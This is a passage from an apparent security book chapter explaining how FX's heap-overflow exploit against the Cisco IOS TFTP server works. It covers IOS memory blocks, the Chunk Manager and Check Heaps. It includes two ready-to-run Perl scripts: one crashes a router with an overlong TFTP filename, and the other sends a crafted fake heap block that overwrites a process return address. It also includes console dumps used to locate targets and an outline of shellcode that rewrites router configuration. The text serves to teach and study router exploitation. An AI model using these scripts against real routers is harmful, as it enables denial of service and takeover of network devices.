| ||
Let's move from theory to practice and illustrate how the described memory structures can be abused using the FX Cisco IOS Trivial File Transfer Protocol (TFTP) server exploit (the UltimaRatioVegas exploit) as an example. This exploit is described in detail in the infamous Phrack magazine, at http://www.phrack.org/show.php?p=60&a=7 . In accordance with the SecurityFocus information ( http://www.securityfocus.com/bid/5328/exploit ), to cause an overflow we need to query a file that is longer than 700 symbols from the vulnerable router's TFTP server.
To illustrate this procedure, here's a short Perl script:
#!/usr/bin/perl # Cisco TFTP Server remote Buffer Overflow example script use IO::Socket; $server = "192.168.77.86"; $port = "69"; my $data = "A"; # Data my $op = "01"; # Opcode to Get file my $num=700; my $file =$data x $num; tftp($file,$op); sub tftp { my ($file,$op) =@_; my $mode = "netascii"; my $pkt = pack("n a* c a* c", $op, $file, 0, $mode, 0); my $sock = IO::Socket::INET->new(Proto => 'udp'); send($sock,$pkt,0,pack_sockaddr_in($port,inet_aton($server))); close $sock; }
When we ran this against a test router the first time, nothing happened . Perhaps the IOS version on that router was not vulnerable?
c2503a>show version Cisco Internetwork Operating System Software IOS (tm) 2500 Software (C2500-I-L), Version 11.2(2.5), MAINTENANCE INTERIM SOFTE Copyright (c) 1986-1996 by cisco Systems, Inc. Compiled Tue 17-Dec-96 04:47 by ajchopra Image text-base: 0x03021A64, data-base: 0x00001000 ROM: System Bootstrap, Version 5.2(5), RELEASE SOFTWARE ROM: 3000 Bootstrap Software (IGS-RXBOOT), Version 10.2(5), RELEASE SOFTWARE (f)
It looks like that in accordance with the SecurityFocus advisory, the router must be exploitable, but something has gone wrong in this example. We tried it one more time, and it worked. Apparently, the advisory did not precisely formulate the vulnerability: two packets must be sent instead of one. While experimenting with the testing router, we also discovered that the length of the queried file could be less than 700 symbols. In practice, this means that the attacker must send two separate TFTP requests , with the requested file length being not less than 332 symbols.
Taking this into account, we reran the testing script. This is what we saw at the target router console:
TFTP: read request from host 192.168.77.8(32802) via Ethernet0 validblock_diagnose, code = 1 current memory block, bp = 0xFC2CC, memory pool type is Processor data check, ptr = 0xFC2F0 next memory block, bp = 0xFD52C, memory pool type is Processor data check, ptr = 0xFD550 previous memory block, bp = 0xFB06C, memory pool type is Processor data check, ptr = 0xFB090 %SYS-3-OVERRUN: Block overrun at FC2CC (redzone 41414141) -Traceback= 314172A 314246E 3168826 3150F3E 31A7664 %SYS-6-MTRACE: malloc: addr,pc FB090,3167F6A 4BFA0,31413F6 4BF00,31413F6 4BEAC,33DB13C 4BE0C,31413F6 4BC08,315607C FA898,315606A 4BB7C,31413F6 %SYS-6-MTRACE: free: addr,pc FB090,3168810 4BF00,314B3B6 4BFA0,314AEAA F8718,30E781A 494F4,3151DD2 F6EA4,30FB554 F9CB8,30FBC7A F6EA4,30FB554 %SYS-6-BLKINFO: Corrupted redzone blk FC2CC, words 2334, alloc 3167F6A, InUse, 1 %SYS-6-MEMDUMP: 0xFC2CC: 0xAB1234CD 0x1C 0x4BC08 0x31A7BF2 %SYS-6-MEMDUMP: 0xFC2DC: 0x3167F6A 0xFD52C 0xFB080 0x8000091E Exception: Software forced crash at 0x3152ABA (PC)
Here's a brief summary of what happened. Since a picture is worth a thousand words, have a look at Figure 8-5, which demonstrates our data overwriting the REDZONE value.
Next, we need to determine how IOS controls the block field and which processes are involved. Our earlier mention of the show processes IOS command was no accident ; take a closer look at the processes with PID 1 and PID 6:
c2503a#show processes <skip> PID QTy PC Runtime (ms) Invoked uSecs Stacks TTY Process 1 Cwe 80434F9C 0 2 0 5800/6000 0 Chunk Manager 6 Lst 80444AE8 238323 39289 6065 5768/6000 0 Check heaps <skip>
The Chunk Manager is the process that operates with block fragments. Imagine that a process needed several small memory fragments of the same size . It will grab a memory block from an appropriate memory poll and pass it to the Chunk Manager to get the needed fragments. This saves memory, since all used fragments do not possess the block header.
One of the undocumented IOS commands (see Appendix C) allows us to find out more about Chunk Manager operation. This command is show chunk and its output is presented here:
c2600#show chunk Chunk Manager: 404 chunks created, 159 chunks destroyed 234 siblings created, 158 siblings trimmed Chunk element Block Maximum Element Element Total cfgsize Ohead size element inuse freed Ohead Name 16 0 20044 995 13 982 4080 Managed Chunk 0x82AF4AC8 16 4 10044 413 413 0 3392 List Elements 0x82AF9914 16 4 14008 578 30 548 4716 (sibling) 0x82FD643C 16 4 10044 413 407 6 3392 (sibling) 0x82B0E7C0 16 4 10044 413 413 0 3392 (sibling) 0x82B10EFC Total 1817 1263 554 14892 56 0 5044 81 19 62 464 List Headers 0x82AFC050 16 4 1544 59 0 59 556 messages 0x82AFD45C 20 0 1544 59 0 59 320 Watched messag 0x82AFDA64 108 0 10044 88 88 0 496 Watched Queue 0x82B05BE8 108 0 11436 100 5 95 592 (sibling) 0x82FF7DC4
You can see that the Chunk Manager operates with the list of fragments (chunks) similar to the way the IOS Pool Manager operates with memory blocks. However, note a significant difference: the fragments do not have headers. Since a process is likely to use fragments for storing small variables in the stack, we can hypothesize that the "stack overflowoverwrite return address on the stack" exploitation type should be possible without any sophisticated games with the IOS memory.
It is time to go back to our heap and the TFTP vulnerability. Another process shown with the preceding show processes command output is the Check Heaps process. This process was outlined by Cisco engineers in the Tech Notes ID 15102 ( http://www.cisco.com/warp/public/63/showproc_cpu.html ): "Check Heaps. Checks the memory every minute. It forces a reload if it finds processor corruption."
In plain language, this means that if during a routine check a memory block is found to be damaged, IOS will reload. Note that the check will also happen every time memory blocks are allocated or become free.
So how did FX sort out the problem of bypassing these memory checks? Let's review the existing stack protection methodnamely the canary -based techniques first. These techniques, such as the Immunix distribution StackGuard and the /GS flag in the Microsoft Visual Studio compiler, place special values on the stack. Then they try to detect stack overflows by checking to see whether these values change when they shouldn't. The IOS REDZONE can be compared to a canary word with a twist: we are dealing with heap, not stack. FX has pointed out that games with the Check Heaps process timeout (which checks memory once every minute) are not interesting. Instead, he concentrated on deceiving this process by overwriting the following block header and creating a "fake block", as illustrated in Figure 8-6.
FX has also discovered that the PID and Alloc ptrs fields are not significant for memory checks. Since REDZONE and MAGIC are static values, the hardest task appears to be filling up the NEXT ptr and PREV ptr fields during the exploitation.
So what does the TFTP server process do when a request is received? First, it asks memory blocks for storing the filename from the Pool Manager. Then it frees the memory using the C free () function. The IOS takes into account that the blocks are now freed by merging the nearby blocks and updating the pointers. This process is shown in Figure 8-7.
You can see that the NEXT1 pointer is replaced by NEXT2. For an attacker, it is interesting that the overwrite address in the memory of the NEXT1 pointer is calculated using the PREV2 pointer by adding the header offset (20 bytes in our case) to the PREV2 address.
FX has described the prototype of this function in C:
Host->prev=next2; (Host->next2)+prevofs=prev2; delete(Host_block);
Our case's similarity with both Windows and Linux is apparent. Just as in Windows or Linux, by controlling the values in both the NEXT and PREV pointers, we can overwrite any memory location accessible for writing. This exploitation method is called an uncontrolled pointer exchange . FX has found out that the PREV pointers in a freeing block are checked. Since the previous block is inspected earlier, its value can be obtained from system messages generated by the system crash. The pointers in the already freed block are not checked, and the only requirement is that they must point at some writable memory region.
So our main task is to obtain the correct values of the NEXT and PREV fields when creating the fake block. Let's see how FX has sorted out this problem. First, he found the address of the block allocated for the Process Array using the show memory processor allocating-process command output. This address is pointed at by the PREV ptr process stack, as emphasized in this output. (Please ignore the highlighted values in this code; we will discuss them soon.)
c2503a#show memory processor allocating-process Processor memory Address Bytes Prev. Next Ref Alloc Proc Alloc PC What 46288 1056 0 466D0 1 *Init* 313EC02 List Elements 466D0 2656 46288 47158 1 *Init* 313EC02 List Headers 47158 2528 466D0 47B60 1 *Init* 30F27B0 TTY data 47B60 2000 47158 48358 1 *Init* 30F4A20 TTY Input Buf 48358 512 47B60 48580 1 *Init* 30F4A50 TTY Output Buf 48580 2000 48358 48D78 1 *Init* 31514EA Interrupt Stack 48D78 44 48580 48DCC 1 *Init* 33DB13C *Init* 48DCC 1056 48D78 49214 1 *Init* 313EC02 messages 49214 84 48DCC 49290 1 *Init* 314AF5A Watched Boolean 49290 84 49214 4930C 1 *Init* 314AF5A Watched Boolean 4930C 84 49290 49388 1 *Init* 314AF5A Watched Boolean 49388 84 4930C 49404 1 *Init* 314AF5A Watched Boolean 49404 1032 49388 49834 1 *Init* 3155CC2 Process Array 49834 1000 49404 49C44 1 Load Meter 315606A Process Stack 49C44 476 49834 49E48 1 Load Meter 315607C Process 49E48 120 49C44 49EE8 1 Load Meter 315609C Process Events 49EE8 44 49E48 49F3C 1 *Init* 33DB13C *Init* 49F3C 1056 49EE8 4A384 1 *Init* 313EC02 List Elements 4A384 1056 49F3C 4A7CC 1 *Init* 313EC02 List Elements <skip>
As you can see, the block we are searching for is positioned at the 0x49404 address.
Now let's view this particular block using the show memory command:
c2503a#show memory 0x49404 00049400: AB1234CD FFFFFFFE 00000000 +.4M...~.... 00049410: 03155C70 03155CC2 00049834 0004939C ..\p..\B...4.... 00049420: 80000206 00000001 00000000 0000001B ................ 00049430: 00049C68 0004B29C 0007BCB8 0007C834 ...h..2...<8..H4 00049440: 00084C74 00088754 00089970 000BFDE0 ..Lt...T...p..}` 00049450: 000C17DC 000C2AF0 000C3DB0 000C5280 ...\..*p..=0..R. 00049460: 000C5DFC 000C68EC 000C7EB4 000DA59C ..]..hl..~4..%. 00049470: 000E71C0 000E7BBC 000E860C 000E90FC ..q@..{<....... 00049480: 000E9BEC 000EA6DC 000F3884 000F3F8C ...l..&\..8...?. 00049490: 000F4A7C 000F67B4 000F8A3C 00000000 ..J..g4...<.... 000494A0: 00000000 00000000 00000000 00000000 ................
In this output, you can see real-life IOS memory blocks. What presents the most interest in the output for our particular exploitation case is
The Process Array, in which the processes are sorted in accordance to their IDs.
The process that is constantly present and works in IOS with the lowest activity. If we are going to interfere with the data structures of another process, we don't want it to be highly active; at the same time it shouldn't be static.
The best candidate for such process is the Load Meter, a process that looks after the system load and computes the load average for different processes every 5 seconds, in accordance with http://www.cisco.com/warp/public/63/showproc_cpu.html . For a starter, let's check the Load Meter PID:
c2503a#show process CPU utilization for five seconds: 12%/9%; one minute: 11%; five minutes: 9% PID QTy PC Runtime (ms) Invoked uSecs Stacks TTY Process 1 Csp 3155460 4396 9474 464 736/1000 0 Load Meter
So the PID of this process is 1, or 0x0000001 in hex. In the Process Array, this PID (highlighted in the previously shown show memory 0x49404 output) points at the 0x00049C68 address (also highlighted in that output). We will follow this address:
c2503a#show memory 0x00049C68 00049C60: 00049858 00049C08 ...X.... 00049C70: 00001388 03155460 00000000 00000000 ......T ........ 00049C80: 00000000 00000000 03148BD2 00000000 ...........R.... 00049C90: 00000000 00000000 20000000 00000000 ........ ....... 00049CA0: 00000000 00000000 00010000 00000100 ................ 00049CB0: 00000000 00000000 00070000 00010315 ................ 00049CC0: 54600314 A3400000 00FC0000 00FC0000 T ..#@........ 00049CD0: 00000000 00000000 00000000 031C0000 ................ 00049CE0: 00000000 00000000 13B00000 000002E2 .........0.....b 00049CF0: 2A640000 25C50000 00000315 4E7A0000 *d..%E......Nz.. 00049D00: 00010000 00000000 00000000 00050000 ................ 00049D10: 00000000 03E80000 03E80004 717C0000 .....h...h..q.. 00049D20: 00000000 00000000 00000000 00000000 ................ 00049D30: 00000000 0000000E A7AA000F 405A0004 ........'*..@Z.. 00049D40: 9C680003 24E0000C 18BA000F 406A0003 .h..$`...:..@j.. 00049D50: 28680004 9D9E0000 000002E2 3DEC0000 (h.........b=l.. 00049D60: 42300000 00000000 00000004 9D460000 B0...........F.. 00049D70: 00000000 00000000 00000000 42800004 ............B... 00049D80: 9C680000 00000000 00000004 9D460004 .h...........F.. 00049D90: 9C680000 00000000 00000001 42D00000 .h..........BP..
The first entry in this output is the process stack (0x0049858). The second element is the current stack pointer of this process (0x00049C08). Where does it point to?
c2503a# show memory 0x00049C08 00049C00: 00049C24 0314A3DA ...$..#Z 00049C10: 000324E0 00049D36 00000000 00000000 ..$ ...6........ 00049C20: 00000000 00049C30 03155468 00001388 .......0..Th....
This is a classic C calling convention: first we find the former frame pointer and then we find the return address (the pointer is highlighted on the output). The address we are looking for is 0x00049c0c. And this is our overwrite targetthe Load Meter return address.
Searching for the address the way we have described is a bit daunting, isn't it? This is why FX wrote the IOStack.pl script to read out the IOS stack return address location. You can download this script at http://www.phenoelit.de/ultimaratio/download.html . An example of its output is shown here:
arhontus $ ./IOStack.pl -d 192.168.77.86 -p 123456 -e 123456 ************************************************************************ IOSSTRING: IOS (tm) 2500 Software (C2500-I-L), Version 11.2(2.5), MAINTENANCE INTERIM SOFTWARE IMAGE: flash:/c2500-i-l.112-2.5 MEMORY: 16384K/2048K ARRAY: 49404 PID RECORD STACK RETURNA RETURNV NAME 1 00049C68 00049C08 00049c0c 0314A3DA Load Meter 2 000F72C8 00000DF4 00000e20 03156A84 Virtual Exec 3 0007BCB8 0007BC4C 0007bc50 0314A49C Check heaps 4 0007C834 0007C7C8 0007c7cc 0314A9FA Pool Manager 5 00084C74 00084C00 00084c04 0314A49C Timers 6 00088754 000886DC 000886e0 0314A9FA ARP Input 7 00089970 00089908 0008990c 0314A9FA SERIAL A'detect
The needed return address is highlighted in the output; however, as you can see, you can survive without this script especially if a previously undocumented Cisco IOS show stack command is employed to remove all these vexing steps by running it with Load Meter PID as an argument:
c2503a#show stack 1 Process 1: Load Meter Stack segment 0x49858 - 0x49C40 <BIU> <BIU> FP: 0x49C24, RA: 0x314A3DA <BIU> <BIU> FP: 0x49C30, RA: 0x3155468 FP: 0x0, RA: 0x315680C
Suddenly everything becomes simplewith a single command, an attacker can obtain the stack frame pointer. Then it is quite easy to find the address for the stack frame pointer, in our specific case 0x314A3DA.
Now let's construct our fake memory block using the guidelines provided by FX:
#!/usr/bin/perl #Cisco 2500-3 TFTP Server remote Buffer Overflow example script use IO::Socket; $server = "192.168.77.85"; $port = "69"; my $data = "A"; # Data my $op = "01"; # Opcode to Get file my $num=332; my $fakeblock =$data x $num; # Overflow data $fakeblock .="\xFD\x01\x10\xDF"; # RED $fakeblock .="\xAB\x12\x34\xCD"; # MAGIC $fakeblock .="\xFF\xFF\xFF\xFF"; # PID $fakeblock .="\x80\x81\x82\x83"; # $fakeblock .="\x08\x0C\xBB\x76"; # NAME $fakeblock .="\x08\x0C\xBB\x76"; # NAME $fakeblock .="\x80\x8a\x8b\x8c"; # $fakeblock .="\x00\x0F\xC2\xE0"; # NEXT (Point to fake block ) $fakeblock .="\x00\x0F\xB0\x6C"; # PREV (Obtained from system message) $fakeblock .="\x7F\xFF\xFF\xFF"; # SIZE $fakeblock .="\x01\x01\x01\x01"; # Ref $fakeblock .="\xA0\xA0\xA0\xA0"; # padding $fakeblock .="\xDE\xAD\xBE\xEF"; # MAGIC2 $fakeblock .="\x8A\x8B\x8C\x8D"; # $fakeblock .="\xFF\xFF\xFF\xFF"; # padding $fakeblock .="\xFF\xFF\xFF\xFF"; # padding $fakeblock .="\x00\x04\x9C\x24"; # FREE NEXT (point to your code in the buffer) $fakeblock .="\x00\x04\x9C\x0C"; # FREE PREV (Load Meter return address) my $single ="FX"; tftp($fakeblock,$op); sleep(6); tftp($single,$op); sub tftp { my ($file,$op) =@_; my $mode = "netascii"; my $pkt = pack("n a* c a* c", $op, $file, 0, $mode, 0); my $sock = IO::Socket::INET->new(Proto => 'udp'); send($sock,$pkt,0,pack_sockaddr_in($port,inet_aton($server))); close $sock; }
So the fake block is finally constructed . Note that such a methodology will not be successful in every case for a variety of reasons:
In the case of the example TFTP exploit, the fake block is transmitted as a filename using ASCII characters only.
You may encounter the null byte. In the shown example of the fake memory block, we can see quite a few of them.
The typical shellcode tricks just won't work.
You can try to use the return address of another process, such as the IP Input mentioned in the UltimaRatioVegas exploit of FX, but even that might be unsuccessful .
This was the case when we tried this method against a Cisco 2503 router, where the whole area of the executable processes stacks was in the address space, starting from 0x00. Fortunately for crackers, this issue appeared to be specific for that particular router model and the IOS image used. However, there is another problem. The addresses of both the NEXT and PREV pointers of a used block can be dynamic even for a single selected IOS image. You can find our research devoted to the methods of bypassing this problem at the companion web site ( http://www.hackingexposedcisco.com ). There you can also find a 2500.pl script that uses an integer overflow in the NEXT pointer, described by FX in multiple presentations, which allowed us to compromise a 2500 router as long as the attacker was on the same subnet with the target.
Here we assume that the fake memory block construction went fine, and after feeding it to the router, something like this is returned:
*** EXCEPTION *** illegal instruction interrupt program counter = 0x03042A status register = 0x2700 vbr at time of exception = 0x4000000
This indicates that the shellcode time has arrived. A standard shellcode actively uses system calls or library functions to perform some port binding and provide a remote shell to the attacker. The shellcode provided by FX in his publications works only on rather ancient routers, such as the Cisco 2503 we used in our testing. FX has completely abandoned the use of IOS library functions, and IOS does not support transparent system calls.
Following is a brief summary of the algorithm used by FX's shellcode, which is likely to be of mainly historical significance nowadaysat least from the exploit developer's viewpoint:
Remove the write protection for Non-volatile Random Access Memory (NVRAM).
Write a new router configuration file into NVRAM.
Correct the checksum of the modified configuration file.
Reload the router so that the changes will take place.
On modern Cisco routers, it is not possible to remove write protection for NVRAM. This is why we mentioned that this shellcode would work only on ancient routers (but still quite a lot of such hosts are out thereafter all, if it works, why upgrade it?).
The main value of the reviewed research by FX is his methodology of working with IOS memory. The method based on the creation of a fake memory block is still relevant and might be used by attackers for years to come.
| ||